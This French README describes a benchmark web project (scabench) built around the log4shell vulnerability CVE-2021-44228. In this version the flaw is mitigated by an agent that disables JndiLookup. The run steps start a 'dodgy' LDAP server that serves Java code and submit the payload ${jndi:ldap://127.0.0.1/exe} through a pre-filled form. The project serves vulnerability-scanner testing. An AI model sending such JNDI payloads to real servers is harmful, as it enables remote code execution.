
projet web JEE avec vulnérabilité log4shell (CVE-2021-44228) assainie
Ceci est un projet web simple avec une vulnérabilité log4shell assainie. Pour une version non assainie, voir https://github.com/scabench/l4j-tp1/.
Le projet définit un service get simple scabench.HelloWorldService renvoyant une chaîne de texte brut hello world.
Le service n'attend pas de paramètres, et si des paramètres sont rencontrés, une erreur
est enregistrée.
La dépendance vulnérable est org.apache.logging.log4j:log4j-core:2.14.1, la vulnérabilité est CVE-2021-44228.
Le projet utilise un agent construit par Amazon lorsque log4shell a émergé et qu'aucun correctif n'était disponible.
L'agent désactivera la classe vulnérable org.apache.logging.log4j.core.lookup.JndiLookup.
L'utilisation de l'agent est imposée en installant (c'est-à-dire en attachant) l'agent dynamiquement lorsque scabench.HelloWorldService est chargé (dans le bloc statique de la classe),
si cela échoue, l'application plante. Cela nécessite que la JVM permette l'auto-attachement de l'agent.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (le code vulnérable téléchargera du code Java depuis ce serveur)http://localhost:8080/, ce site contient un formulaire pré-rempli avec une charge utile malveillante ${jndi:ldap://127.0.0.1/exe}foo sur le serveur (contrairement à la version non assainie fait)Notez que lors de l'exécution de l'application, la ligne suivante apparaît sur la console :
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
Cela nécessite unix ou macos. Il est facile de porter ce projet sous windows. Un test unitaire est fourni pour démontrer la vulnérabilité, la configuration est la même que celle utilisée dans https://github.com/scabench/l4j-tp1/. En raison de l'assainissement, le test échoue maintenant.
Il existe plusieurs scripts sh pour exécuter différentes analyses, les rapports de résultats se trouvent dans scan-results.
Le pom.xml a un plugin pour générer un SBOM au format CycloneDX.
Pour cela, exécutez mvn cyclonedx:makePackageBom, le SBOM se trouve dans
target/ aux formats json et xml.